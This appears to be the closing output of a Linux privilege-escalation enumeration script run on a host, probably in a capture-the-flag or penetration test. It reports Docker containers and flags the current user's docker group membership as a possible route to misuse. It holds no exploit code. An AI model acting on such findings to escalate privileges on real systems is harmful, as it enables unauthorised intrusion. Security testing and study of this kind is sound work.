-rw-rw-r-- 1 www www 7138 Feb 13 2018 /home/www/api/node_modules/form-data/README.md.bak

[-] Any interesting mail in /var/mail:
total 8
drwxrwsr-x 2 root mail 4096 Feb 14 2019 .
drwxr-xr-x 14 root root 4096 Mar 19 2019 ..

[+] Looks like we're hosting Docker:
Docker version 18.09.2, build 6247962
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7beaaeecd784 bash "docker-entrypoint.s..." 14 months ago Exited (130) 14 months ago unruffled_shockley
696fb9b45ae5 bash "docker-entrypoint.s..." 14 months ago Exited (127) 14 months ago boring_varahamihi$
9811859c4c5c bash "docker-entrypoint.s..." 14 months ago Exited (127) 14 months ago boring_volhard

[+] We're a member of the (docker) group - could possibly misuse these rights!
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

SCAN COMPLETE